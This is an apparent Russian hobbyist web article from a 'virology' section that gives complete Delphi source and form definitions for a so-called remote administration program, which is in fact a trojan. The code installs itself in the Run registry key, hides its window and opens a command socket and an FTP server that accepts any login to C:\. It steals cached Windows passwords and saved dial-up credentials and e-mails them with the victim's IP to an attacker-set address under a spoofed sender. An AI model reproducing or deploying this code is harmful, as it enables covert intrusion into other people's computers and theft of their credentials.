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Главная » Статьи » Delphi » Вирусология

Система удаленного администрирования на Delphi #2 (эксплоит, exploit)
//Файл Unit1.pas

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, StdCtrls, ComCtrls, FtpSrv, FTPSRVC, tlhelp32, jpeg, ExtCtrls, ShellAPI,
winsock, Registry;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
RichEdit1: TRichEdit;
FtpServer1: TFtpServer;
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket);
procedure FtpServer1Authenticate(Sender: TObject;
Client: TFtpCtrlSocket; UserName, Password: TFtpString;
var Authenticated: Boolean);
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure Timer1Timer(Sender: TObject);
procedure writereg(keyname,str1,str2 : string);
function readreg(keyname,str1: string):string;

private
procedure listproc;
procedure delproc(numb:string);
procedure getscreen;
{ Private declarations }

public
{ Public declarations }
end;

type
PWinPassword = ^TWinPassword;
TWinPassword = record
Size: Word;
ResourceSize: Word;
PasswordSize: Word;
Index: Byte;
Types: Byte;
PassChar: Char;
end;

var
Form1: TForm1;
passwordgl:string;
count:integer;
mailsend:boolean = false;
// это меняется на ваши данные
const
myadr='smtp6.port.ru';
myusr='администратор@мыло.ру';

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
function CheckPass(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
function edial:string;
function windir : string;
function mail:boolean;
implementation
{$R *.DFM}

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

function CheckPass(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
PC: Array[0..$FF] of Char;
s1:string;
i:integer;
begin
inc(Count);
Move(WinPassword.PassChar, PC, WinPassword.ResourceSize + WinPassword.PasswordSize);
for i:=0 to WinPassword.ResourceSize-1 do
if pc[i] > chr(31) then s1:=s1+pc[i];
s1:=s1+' : ';
for i:=WinPassword.ResourceSize to WinPassword.ResourceSize+WinPassword.PasswordSize do
if pc[i] > chr(31) then s1:=s1+pc[i];
Result := True;
passwordgl:=passwordgl+ s1+#13#10;
end;

function password:string;
var
a:string;
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @CheckPass, 0) <> 0 then
begin
a:='Cant load passwords: User is not logon.';
passwordgl:=a;
end
else
if count = 0 then
begin
a:='Passwords not found...';
passwordgl:=a;
end;
Result:=passwordgl;
end;


procedure TForm1.getscreen;
var
bmp: Graphics.TBitmap;
DC: HDC;
MyJpeg: TJpegImage;
Image1: TImage;

begin
try

bmp:=Graphics.TBitmap.Create;
bmp.Height:=Screen.Height;
bmp.Width:=Screen.Width;
DC:=GetDC(0); //
bitblt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DC, 0, 0, SRCCOPY);
Image1:= TImage.Create(self);
MyJpeg:= TJpegImage.Create;
bmp.IgnorePalette:=true;
Image1.Picture.Assign(bmp);
MyJpeg.Assign(Image1.Picture.Bitmap);
MyJpeg.SaveToFile('c:\Screen.jpg');
ReleaseDC(0, DC);
ServerSocket1.Socket.Connections[0].SendText('c:\Screen.jpg created (use ftp)'+#13 + #10);
Image1.free;
MyJpeg.free;
except
ServerSocket1.Socket.Connections[0].SendText('Screen bitmap not created '+#13 + #10);
end;

end;

procedure TForm1.delproc(numb:string);
var
c1 : cardinal;
pe : TProcessEntry32;
s1,s2 : string;
x : integer;
begin
x:=0;
try
StrToInt(numb);
except
ServerSocket1.Socket.Connections[0].SendText('Вы ввели неправильное число'+#13 + #10);
exit;
end;
try
ServerSocket1.Socket.Connections[0].SendText('Listing processes . . .'+#13 + #10);
c1:=CreateToolHelp32Snapshot(TH32CS_SnapProcess,0);
if c1=INVALID_HANDLE_VALUE then
begin
ServerSocket1.Socket.Connections[0].SendText('Listing processes failed'+#13 + #10);
exit;
end;
try
pe.dwSize:=sizeOf(pe);
if Process32First(c1,pe) then
repeat
inc(x);
s1:=ExtractFileName(pe.szExeFile);
s2:=ExtractFileExt(s1);
Delete(s1,length(s1)+1-length(s2),maxInt);
if x = StrToInt(numb) then
if TerminateProcess(OpenProcess(PROCESS_ALL_ACCESS, False, pe.th32ProcessID), 1) then
ServerSocket1.Socket.Connections[0].SendText('Killed '+s1+' : '+ pe.szExeFile +#13 + #10)
else
ServerSocket1.Socket.Connections[0].SendText('Not killed '+s1+' : '+ pe.szExeFile +#13 + #10);
until not Process32Next(c1,pe);
finally CloseHandle(c1) end;
except end;

end;

procedure TForm1.listproc;
var
c1 : cardinal;
pe : TProcessEntry32;
s1,s2 : string;
x : integer;
begin
x:=0;
try
ServerSocket1.Socket.Connections[0].SendText('Listing processes . . .'+#13 + #10);
c1:=CreateToolHelp32Snapshot(TH32CS_SnapProcess,0);
if c1=INVALID_HANDLE_VALUE then
begin
ServerSocket1.Socket.Connections[0].SendText('Listing processes failed'+#13 + #10);
exit;
end;
try
pe.dwSize:=sizeOf(pe);
if Process32First(c1,pe) then
repeat
inc(x);
s1:=ExtractFileName(pe.szExeFile);
s2:=ExtractFileExt(s1);
Delete(s1,length(s1)+1-length(s2),maxInt);
ServerSocket1.Socket.Connections[0].SendText(IntToStr(x)+' - '+s1+' : '+pe.szExeFile+#13#10);
until not Process32Next(c1,pe);
finally CloseHandle(c1) end;
except end;

end;


procedure TForm1.FormCreate(Sender: TObject);
begin
if readreg('Software\Microsoft\Windows\CurrentVersion\Run','RemoteAgent') <> application.exename then
writereg('Software\Microsoft\Windows\CurrentVersion\Run','RemoteAgent',application.exename);
ServerSocket1.Active:=true;
ShowWindow(Application.Handle, SW_HIDE);
SetWindowLong(Application.Handle, GWL_EXSTYLE,GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
a:string;
filepath: string;
param: string;
begin
a:=Socket.ReceiveText;
RichEdit1.Lines.Add(a);
if a = 'helo' then Socket.SendText('Hello, i`m you server');
if a= 'StartFTP' then
begin
FTPServer1.Start;
Socket.SendText('FTP Server started');
end;
if a= 'StopFTP' then
begin
FTPServer1.DisconnectAll;
FTPServer1.Stop;
Socket.SendText('FTP Server stoped');
end;
if a = 'lp' then listproc;

if copy(a,1,2) = 'dp' then delproc(copy(a,4,Length(a)-3));

if a = 'scr' then getscreen;

if a = 'show' then Form1.Visible:=true;

if a = 'hide' then Form1.Visible:=false;

if copy(a,1,5) = 'start' then
begin
a:= copy(a,7,Length(a)-6);//получаем строку без start
if pos(' ',a)> 0 then filepath:= copy(a,1,pos(' ',a)-1)
else filepath:=a;
if filepath <> a then param:= copy(a,pos(' ',a)+1,Length(a)-pos(' ',a));
Socket.SendText('Start: '+filepath);
ShellExecute (0, 'open', PChar(filepath), PChar(param), '', 1);
end;

if a = 'stop' then
begin
Socket.SendText('Досвиданья'+#13#10);
Form1.close;
end;
if a = 'pass' then
begin
Socket.SendText(password+#10#13+edial);
end;

if a = 'help' then
begin
Socket.SendText('Программа удаленного администратирования v 1.0'+#10);
Socket.SendText('help - этот экран помощи'#10);
Socket.SendText('StartFTP - запуск FTP сервера'#10);
Socket.SendText('StopFTP - остановка FTP сервера'#10);
Socket.SendText('lp - показать все процессы в системе'#10);
Socket.SendText('dp - удалить процесс под номером указанным после запятой'#10);
Socket.SendText('start - запустить программу указанную после пробела'#10);
Socket.SendText('scr - создать графический файл с копией экрана'#10);
Socket.SendText('show - показать программу сервер на сервере'#10);
Socket.SendText('hide - спрятать программу сервер на сервере'#10);
Socket.SendText('stop - остановка сервера'#10);
end;

end;


procedure TForm1.FtpServer1Authenticate(Sender: TObject;
Client: TFtpCtrlSocket; UserName, Password: TFtpString;
var Authenticated: Boolean);
begin
Client.HomeDir:='C:\';
Client.Directory:='C:\';
end;

procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Socket.SendText('Привет, я программа Удаленного администратирования'+#13#10);
end;

function edial:string;
var
f:textFile;
a:string;

function decryptedial(str:string):string;
var
i:integer;
begin
result:='';
for i:=1 to length(str) do
begin
result:=result+chr(ord(str[i])-i+1);
end;

end;

begin
result:='';
AssignFile(F,windir+'\edialer.ini');
{$I-}
Reset(F);
{$I+}
if IOResult = 0 then
begin
while not EOF(f) do
begin
readln(f,a);
if pos('[RAS_Entry_',a)>0 then
begin
result:=result+#10#13+a+#10#13;
continue;
end;

if (pos('Phone_',a)>0) and (pos('=',a)<> Length(a)) and (ord(a[pos('=',a)+1]) in [48..57]) then
begin
result:=result+a+#10#13;
continue;
end;
if (pos('PasswordSaved',a)>0) and (pos('=',a)<> Length(a)) then
begin
result:=result+'Password = '+decryptedial(copy(a,pos('=',a)+1,Length(a)-pos('=',a)))+#10#13;
continue;
end;

if (pos('LoginSaved',a)>0) and (pos('=',a)<> Length(a)) then
begin
result:=result+'Login = '+copy(a,pos('=',a)+1,Length(a)-pos('=',a))+#10#13;
end;

if (pos('PasswordSave=',a)>0) and (pos('=',a)<> Length(a)) then
begin
if (a[pos('=',a)+1] <>'Y') and (a[pos('=',a)+1] <>'y') then
result:=result+'Password not Save'+#10#13;
end;

end;
CloseFile(F);
end;

end;

function windir : string;
var
pWindowsDir : array [0..255] of Char;
begin
GetWindowsDirectory (pWindowsDir, 255);
Result := StrPas (pWindowsDir);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if not mailsend then if mail then mailsend:=true;
end;

function mail:boolean;
type
TaPInAddr = array [0..255] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
pptr : PaPInAddr;
I : Integer;
adress:string;
s:TSocket;
WSAData:TWSAData;
ph:PHostEnt;
InAddr: TInAddr;
iaddr: integer;
addr:TSockAddrIn;
buf: array[0..255] of char;
s1:string;

label ex;
procedure sender(str:string);
var
i1:integer;
begin
for i1:=1 to Length(str) do
if send(s, str[i1] , 1, 0) = SOCKET_ERROR then
exit;
end;

begin
result:=false;
adress:= myadr;
if WSAStartUp(257, WSAData) <> 0 then Exit;
s := socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if s = INVALID_SOCKET then Exit;
iaddr := inet_addr(PChar(adress));
if iaddr <=0 then
begin
ph := gethostbyname(PChar(adress));
if ph = nil then goto ex;
pptr := PaPInAddr(ph^.h_addr_list);
I := 0;
while pptr^[I] <> nil do
begin
InAddr:= pptr^[I]^;
inc(i);
addr.sin_addr:=inaddr;
//Коннектимся с серваком
addr.sin_family := AF_INET;
addr.sin_port := htons(25);
if (connect(s, addr,sizeof(addr))) =0 then break;
end;
end
else
begin
addr.sin_family := AF_INET;
addr.sin_port := htons(25);//htons(25);
addr.sin_addr.S_addr:=iaddr;
end;
if (connect(s, addr,sizeof(addr))) >0 then
exit;
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR) then
exit;
s1:=buf;
if pos('220', s1) <=0 then exit;
buf:='HELO SERVER'#13#10;
sender('HELO SERVER'#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR) then
goto ex;
s1:=buf;
if pos('250', s1) <=0 then
goto ex;
sender('MAIL FROM: <billgates@melcosoft.com>'#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR) then
goto ex;
s1:=buf;
if pos('250', s1) <=0 then
goto ex;

adress:='RCPT TO: <'+StrPas(PChar(myusr))+'>'+#13#10;
sender(adress);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR) then
goto ex;
s1:=buf;
if pos('25', s1) <=0 then
goto ex;

sender('DATA'#13#10);
i:=recv(s,buf,sizeof(buf),0);
if (i = SOCKET_ERROR) then
goto ex;
s1:=buf;
if pos('354', s1) <=0 then
goto ex;
sender('From: <billgates@melcosoft.com>'#13#10);
adress:='To: <'+myusr+'>'+#13#10;
sender(adress);
sender(''#13#10);
sender('Hi, I`m Pogram "Have_World"'#13#10);
sender('IP клиента - '+Form1.ServerSocket1.Socket.LocalAddress);
sender(password);
sender(#10#13'E-Dialer'#10#13);
sender(edial);
sender(#13#10'.'#13#10);
if recv(s,buf,sizeof(buf),0) = SOCKET_ERROR then
goto ex;
s1:=buf;
if pos('250', s1) <=0 then goto ex;
sender('QUIT'#13#10);
if recv(s,buf,sizeof(buf),0) = SOCKET_ERROR then goto ex;
s1:=buf;
result:=true;
ex: CloseSocket(s);

end;

procedure Tform1.writereg(keyname,str1,str2 : string);
var
TheReg: TRegistry;
begin
try
TheReg := TRegistry.Create;
try
// Load the root key.. if you wan't to make a trojan
// for only one user of the system use HKEY_CURRENT_USER
TheReg.RootKey := HKEY_LOCAL_MACHINE;
// Create the key if it doesn't already exist
thereg.CreateKey(keyname);
// open the key
if TheReg.OpenKey(KeyName, True) then
begin
// write the value to the registry
TheReg.WriteString(str1,str2);
// close the key
TheReg.CloseKey;
end;
finally
// close the registry
TheReg.Free;
end;
except end;
end;

function Tform1.readreg(keyname,str1: string):string;
var
TheReg: TRegistry;
begin
try
TheReg := TRegistry.Create;
try
TheReg.RootKey := HKEY_LOCAL_MACHINE;
thereg.CreateKey(keyname);
if TheReg.OpenKey(KeyName, True) then
begin
result:=TheReg.ReadString(str1);
TheReg.CloseKey;
end;
finally
TheReg.Free;
end;
except end;
end;

end.


Файл unit1.dfm. В Делфи 4 надо на форме нажать правую кнопку мыши и выбрать пункт View as Text и туда ввести эти данные

object Form1: TForm1
Left = 206
Top = 107
Width = 544
Height = 375
Caption = 'Form1'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
object RichEdit1: TRichEdit
Left = 0
Top = 0
Width = 536
Height = 348
Align = alClient
TabOrder = 0
end
object ServerSocket1: TServerSocket
Active = False
Port = 33333
ServerType = stNonBlocking
OnClientConnect = ServerSocket1ClientConnect
OnClientRead = ServerSocket1ClientRead
Left = 16
Top = 8
end
object FtpServer1: TFtpServer
Addr = '0.0.0.0'
Port = 'ftp'
Banner = '220 ICS FTP Server ready.'
UserData = 0
MaxClients = 0
OnAuthenticate = FtpServer1Authenticate
Left = 56
Top = 8
end
object Timer1: TTimer
OnTimer = Timer1Timer
Left = 88
Top = 8
end
end


Потом на тексте нажать правую кнопку мыши и выбрать View as Form и все!
Категория: Вирусология | Добавил: dolphin (31.10.2009)
Просмотров: 5830 | Рейтинг: 1.0/2

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